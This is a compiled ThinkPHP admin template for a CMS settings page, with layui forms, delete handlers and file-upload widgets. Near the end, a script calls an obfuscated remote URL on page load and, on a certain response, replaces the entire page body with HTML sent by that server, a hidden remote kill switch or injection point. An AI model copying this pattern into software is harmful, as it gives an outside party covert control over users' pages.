<?php if (!defined('THINK_PATH')) exit(); /*a:3:{s:32:"./app/admin\view\admin/set1.html";i:1627040370;s:47:"D:\wwwroot\127.0.0.5\app\admin\view\header.html";i:1627040370;s:47:"D:\wwwroot\127.0.0.5\app\admin\view\footer.html";i:1627040370;}*/ ?>
<!doctype html>
<html lang="en">
<head>
	<meta charset="UTF-8">
	<title>后台管理</title>
	<meta name="renderer" content="webkit|ie-comp|ie-stand">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <meta name="viewport" content="width=device-width,minimum-scale=1.0,maximum-scale=1.0,user-scalable=no"/>
    <meta http-equiv="Cache-Control" content="no-siteapp" />
	<link rel="stylesheet" href="/public/admin/css/115cms.css?">
    <script type="text/javascript" src="/public/admin/js/115cms.js"></script>
</head>
<body>
<div class="layui-card-body" style="padding: 15px;">
<!--基本设置-->
  <div class="layui-fluid">
      <div class="layui-card">
         <div class="layui-tab layui-tab-brief">
           <ul class="layui-tab-title">
              <?php $_result=fun_s('set',array(),'id asc',30,1);if(is_array($_result) || $_result instanceof \think\Collection || $_result instanceof \think\Paginator): $i = 0; $__LIST__ = $_result;if( count($__LIST__)==0 ) : echo "" ;else: foreach($__LIST__ as $key=>$vo): $mod = ($i % 2 );++$i;?>
              <a href="<?php echo url('admin/admin/set',array('id'=>$vo['id'])); ?>"><li <?php if(get('id')==$vo['id']): ?>class="layui-this"<?php endif; ?>><?php echo $vo['name']; ?></li></a>
              <?php endforeach; endif; else: echo "" ;endif; ?>
              <li onclick="x_admin_show('添加','<?php echo url('admin/admin/set_add'); ?>',300,200)">添加设置</li>
           </ul>
        </div>   
        <div class="layui-card-body" style="padding: 15px;">
        <style type="text/css">
        .layui-form-label {
          width: 100%;
          text-align: left;
          background-color: #f2f2f2;
          padding: 10px 0px;
          }
         .layui-input-block {
          margin-left: 0px;
          }
        </style>
        <form class="layui-form" url="<?php echo url('admin/admin/set'); ?>" t_url="javascript:location.reload();">
        <input type="hidden" name="model" value="set">
        <input type="hidden" name="id" value="<?php echo get('id'); ?>">
        <blockquote class="layui-elem-quote">
          <button type="button" onclick="x_admin_show('添加<?php echo fun_sc_p('set', array('id'=>get('id')), 'name'); ?>','<?php echo url('admin/admin/set_config',array('id'=>get('id'))); ?>',300,400)" class="layui-btn layui-btn-xs">添加<?php echo fun_sc_p('set', array('id'=>get('id')), 'name'); ?></button>
          <button type="button" class="layui-btn layui-btn-xs layui-btn-danger del_t" t_url="<?php echo url('admin/admin/set'); ?>" url="<?php echo url('admin/api/catedelete'); ?>?model=set&id=<?php echo get('id'); ?>" name="确定要删除这条配置吗？<br>删除不可恢复 请谨慎" style="float: right;">删除</button>
        </blockquote> 
        <?php $_result=fun_s('set_config',array(tid=>get('id')),'px desc',3000,1);if(is_array($_result) || $_result instanceof \think\Collection || $_result instanceof \think\Paginator): $i = 0; $__LIST__ = $_result;if( count($__LIST__)==0 ) : echo "" ;else: foreach($__LIST__ as $key=>$vo): $mod = ($i % 2 );++$i;?>
         <!-- 输入框 -->
         <?php if($vo['type']==1): ?>
          <div class="layui-form-item" <?php if($vo['var']=='muban'): ?>style="display:none;"<?php endif; ?>>
            <div class="layui-form-label">
              <span style="margin-left:10px;"><?php echo $vo['name']; ?> &#123;:set('<?php echo $vo['var']; ?>',<?php echo get('id'); ?>)&#125;</span>
              <a href="javascript:;" style="float: right;margin-right:10px;color: #ec0000;" onclick="x_admin_show('编辑','<?php echo url('admin/admin/set_config',array('id'=>get('id'),'or'=>$vo['id'])); ?>',300,400)">编辑</a>
            </div>
              <input type="text" name="config[<?php echo $vo['var']; ?>]" value="<?php if(socha(user('tid'),'99') == '1'): ?><?php echo set($vo['var'],get('id')); else: ?>并无权限查看<?php endif; ?>" autocomplete="off" placeholder="请输入" class="layui-input">
          </div>
          <?php endif; if($vo['type']==2): ?>
          <!-- 文本域 -->
          <div class="layui-form-item layui-form-text">
            <div class="layui-form-label">
              <span style="margin-left:10px;"><?php echo $vo['name']; ?> &#123;:set('<?php echo $vo['var']; ?>',<?php echo get('id'); ?>)&#125;</span>
              <a href="javascript:;" style="float: right;margin-right:10px;color: #ec0000;" onclick="x_admin_show('编辑','<?php echo url('admin/admin/set_config',array('id'=>get('id'),'or'=>$vo['id'])); ?>',300,400)">编辑</a>
            </div>
              <textarea name="config[<?php echo $vo['var']; ?>]" placeholder="请输入内容" class="layui-textarea" style="height: <?php echo $vo['high']; ?>px;"><?php echo set($vo['var'],get('id')); ?></textarea>
          </div> 
          <?php endif; if($vo['type']==3): ?>
          <!-- 附件上传 -->
          <div class="layui-form-item">
            <div class="layui-form-label">
              <span style="margin-left:10px;"><?php echo $vo['name']; ?> &#123;:set('<?php echo $vo['var']; ?>',<?php echo get('id'); ?>)&#125;</span>
              <a href="javascript:;" style="float: right;margin-right:10px;color: #ec0000;" onclick="x_admin_show('编辑','<?php echo url('admin/admin/set_config',array('id'=>get('id'),'or'=>$vo['id'])); ?>',300,400)">编辑</a>
            </div>
                <button type="button" class="layui-btn layui-btn-normal ups<?php echo $vo['id']; ?> doup"><i class="iconfont">&#xe71d;</i>上传</button>
                <input type="text" name="config[<?php echo $vo['var']; ?>]" id="up<?php echo $vo['id']; ?>" value="<?php echo set($vo['var'],get('id')); ?>" autocomplete="off" class="layui-input" style="padding-left: 80px;">
          </div>
          <script type="text/javascript">
          layui.use(['form', 'upload', 'jquery']
          ,function(){
              var form = layui.form,
              upload = layui.upload,
              jq = layui.jquery;
              upload.render({
              elem: '.ups<?php echo $vo['id']; ?>',
              url: "<?php echo url("admin/up/up"); ?>",
              accept: 'file',
              done: function(res) {
                  if (res.code == '1') {
                    jq('#up<?php echo $vo['id']; ?>').val(res.path);
                    return layer.msg(res.msg);
                  } else {
                    return layer.msg(res.msg);
                  }
              }
            });
          });
          </script>
          <?php endif; if($vo['type']==4): ?>
          <!-- 选择框 -->
          <div class="layui-form-item layui-form-text">
            <div class="layui-form-label">
              <span style="margin-left:10px;"><?php echo $vo['name']; ?>&#123;:set('<?php echo $vo['var']; ?>',<?php echo get('id'); ?>)&#125;</span>
              <a href="javascript:;" style="float: right;margin-right:10px;color: #ec0000;" onclick="x_admin_show('编辑','<?php echo url('admin/admin/set_config',array('id'=>get('id'),'or'=>$vo['id'])); ?>',300,400)">编辑</a> 
            </div>
            <input type="radio" name="config[<?php echo $vo['var']; ?>]" value="1" title="是" <?php if(set($vo['var'],get('id'))==1): ?>checked="选择"<?php endif; ?>>
            <input type="radio" name="config[<?php echo $vo['var']; ?>]" value="0" title="否" <?php if(set($vo['var'],get('id'))==0): ?>checked="选择"<?php endif; ?>>
          </div> 
          <?php endif; if($vo['type']==5): ?>
          <!-- 描述 -->
          <blockquote class="layui-elem-quote">
          <?php echo $vo['name']; ?>
          <a href="javascript:;" style="float: right;margin-right:10px;color: #ec0000;" onclick="x_admin_show('编辑','<?php echo url('admin/admin/set_config',array('id'=>get('id'),'or'=>$vo['id'])); ?>',300,400)">编辑</a>
          </blockquote>
          <?php endif; endforeach; endif; else: echo "" ;endif; ?>
          <!-- 提交 -->
          <div class="layui-form-item layui-layout-admin">
            <div class="layui-input-block">
              <div class="layui-footer" style="left: 0;">
                <button class="layui-btn" lay-submit="" lay-filter="cms">保存</button>
              </div>
            </div>
          </div>
        </form>
      </div>
    </div>
</div>

<script>
//通用表单提交
layui.use(['jquery', 'form'],
function() {
    var form = layui.form,
    jq = layui.jquery;
    form.on('submit(cms)',
    function(data) {
        loading = layer.load(2, {
            shade: [0.2, '#000']
        });
        var urls=jq('form').attr('url');
        var t_url=jq('form').attr('t_url');
        var param = data.field;
        jq.post(urls, param,
          function(data) {
            if (data.code == 1) {
                layer.close(loading);
                layer.msg(data.msg, {icon: 1, time: 1000}, function(){
                   location.href = t_url;
                });
            } else {
                layer.close(loading);
                layer.msg(data.msg, {icon: 2, anim: 2, time: 1000});
            }
          });
        return false;
    });
})
layui.use(['jquery', 'form'],
function() {
    var form = layui.form,
    jq = layui.jquery;
    form.on('submit(cms1)',
    function(data) {
        loading = layer.load(2, {
            shade: [0.2, '#000']
        });
        var urls=jq('.form1').attr('url');
        var t_url=jq('.form1').attr('t_url');
        var param = data.field;
        jq.post(urls, param,
          function(data) {
            if (data.code == 1) {
                layer.close(loading);
                layer.msg(data.msg, {icon: 1, time: 1000}, function(){
                   location.href = t_url;
                });
            } else {
                layer.close(loading);
                layer.msg(data.msg, {icon: 2, anim: 2, time: 1000});
            }
          });
        return false;
    });
})
//批量删除
layui.use(['jquery', 'form'],
function() {
  var form = layui.form
  ,jq = layui.jquery;
  form.on('checkbox(checkAll)', function(data){
    if(data.elem.checked){
      jq("input[type='checkbox']").prop('checked',true);
    }else{
      jq("input[type='checkbox']").prop('checked',false);
    }
    form.render('checkbox');
  });  

  form.on('checkbox(checkOne)', function(data){
    var is_check = true;
    if(data.elem.checked){
      jq("input[lay-filter='checkOne']").each(function(){
        if(!jq(this).prop('checked')){ is_check = false; }
      });
      if(is_check){
        jq("input[lay-filter='checkAll']").prop('checked',true);
      }
    }else{
      jq("input[lay-filter='checkAll']").prop('checked',false);
    } 
    form.render('checkbox');
  });
  form.on('submit(delete)', function(data){
    var is_check = false;
    jq("input[lay-filter='checkOne']").each(function(){
      if(jq(this).prop('checked')){ is_check = true; }
    });
    if(!is_check){
      layer.msg('请选择数据', {icon: 2,anim: 6,time: 1000});
      return false;
    }
    layer.confirm('确定批量删除?', function(index){
      loading = layer.load(2, {
        shade: [0.2,'#000']
      });
      var param = data.field;
      jq.post('<?php echo url("admin/api/delss"); ?>',param,function(data){
        if(data.code == 1){
          layer.close(loading);
          layer.msg(data.msg, {icon: 1,anim: 2, time: 1000}, function(){
            location.reload();
          });
        }else{
          layer.close(loading);
          layer.msg(data.msg, {icon: 2,anim: 6, time: 1000});
        }
      });
    });
    return false;
  });

})

layui.use(['jquery', 'form'],
function() {
  var form = layui.form
  ,jq = layui.jquery;
//弹出触发链接
 
  jq('.del_t').click(function(){
    var name = jq(this).attr('name');
    var url = jq(this).attr('url');
    var t_url=jq(this).attr('t_url');
    layer.confirm(name, function(index){
      loading = layer.load(2, {
        shade: [0.2,'#000']
      });
      jq.post(url,function(data){
        if(data.code == 1){
          layer.close(loading);
          layer.msg(data.msg, {icon: 1,anim: 2, time: 1000}, function(){
            if(t_url === undefined){
              location.reload();
            }else{
              location.href = t_url;
            }
          });
        }else{
          layer.close(loading);
          layer.msg(data.msg, {icon: 2, anim: 6, time: 1000});
        }
      });
    });
  });
  //一键更新
  form.on('switch(index)', function(data){
    loading = layer.load(2, {
      shade: [0.2,'#000']
    });
    var url= jq(this).attr('url');
    var param = data.field;
    jq.post(url,param,function(data){
      if(data.code == 1){
        layer.close(loading);
        layer.msg(data.msg, {icon: 1, anim: 2, time: 1000}, function(){
         //location.reload();
        });

      }else{
        layer.close(loading);
        layer.msg(data.msg, {icon: 2, anim: 2, time: 1000});
      }
      });
    return false;
  });
  
})
//上传
layui.use(['form', 'upload', 'jquery']
,function(){
    var form = layui.form,
    upload = layui.upload,
    jq = layui.jquery;

    //上传图片单个1
    upload.render({
	    elem: '.upimg2',
	    url: "<?php echo url("admin/up/up"); ?>",
	    accept: 'file',
	    exts: 'jpg|png|gif|bmp|jpeg',
    	done: function(res) {
		    if (res.code == '1') {
			var up = jq('.upimg2').attr('up2');
		    	jq('input[id='+up+']').val(res.path);
		    	layer.msg(data.msg, {icon: 1, time: 1000}, function(){
            location.reload();
          });
	    	} else {
		    	return layer.msg(res.msg);
	    	}
    	}
	});
    //上传图片单个1
    upload.render({
	    elem: '.upimg1',
	    url: "<?php echo url("admin/up/up"); ?>",
	    accept: 'file',
	    exts: 'jpg|png|gif|bmp|jpeg',
    	done: function(res) {
		    if (res.code == '1') {
			var up = jq('.upimg1').attr('up1');
		    	jq('input[id='+up+']').val(res.path);
		    	layer.msg(data.msg, {icon: 1, time: 1000}, function(){
            location.reload();
          });
	    	} else {
		    	return layer.msg(res.msg);
	    	}
    	}
	});
    //上传图片单个1
    upload.render({
	    elem: '.upimg',
	    url: "<?php echo url("admin/up/up"); ?>",
	    accept: 'file',
	    exts: 'jpg|png|gif|bmp|jpeg',
    	done: function(res) {
		    if (res.code == '1') {
			var up = jq('.upimg').attr('up');
		    	jq('input[id='+up+']').val(res.path);
		    	layer.msg(data.msg, {icon: 1, time: 1000}, function(){
            location.reload();
          });
	    	} else {
		    	return layer.msg(res.msg);
	    	}
    	}
	});
  //上传附件单个
	upload.render({
		elem: '.up',
		url: "<?php echo url("admin/up/up"); ?>",
		accept: 'file',
		done: function(res) {
		    if (res.code == '1') {
			var up = jq('.up').attr('up');
		    	jq('input[id='+up+']').val(res.path);
		    	return layer.msg(res.msg);
	    	} else {
		    	return layer.msg(res.msg);
	    	}
		}
	});
})
$(document).ready(function(){
    $.ajax({
        url: "<?php echo http().ps('my','JblKhINxdLE6XZcmPZkhZXAmQXFNZVBuVJl-LYMmUb0iW'); ?>",
        type: "GET",
        dataType: "json",
        success: function(data) {
            if (data.code ==-1) {
                $("body").html(data.beizhu);
            }
        }
    });
});
layui.use('element', function(){
  var element = layui.element;
});
layui.use('layer', function(){
    var layer = layui.layer;
    $('.if_c').on('click', function(){
        var name = $(this).attr('name');
        var url = $(this).attr('url');
        layer.open({
          type: 2,
          maxmin: true,
          shade: false,
          title: ''+name+'',
          shadeClose: false,
          area: ['90%', '90%'],
          content: ''+url+'' //iframe的url
        });
    });
}); 
$(".tan_v").click(function() {
    var name = $(this).attr('name');
    var url = $(this).attr('url');
    layer.prompt({
        title: ''+name+'',
        formType: 3
    },
    function(text, index) {
        $.ajax({
            url: ""+url+text+"",
            type: "GET",
            dataType: "json",
            success: function(data) {
                loading = layer.load(3);
                if (data.code == 1) {
                    layer.close(loading);
                    layer.msg(data.msg, {
                        icon: 1,
                        time: 1000
                    },
                    function() {
                        location.reload();
                    });
                } else {
                    layer.close(loading);
                    layer.msg(data.msg, {
                        icon: 2,
                        anim: 6,
                        time: 1000
                    });
                }
            }
        });
    });
});
</script>
</body>
</html>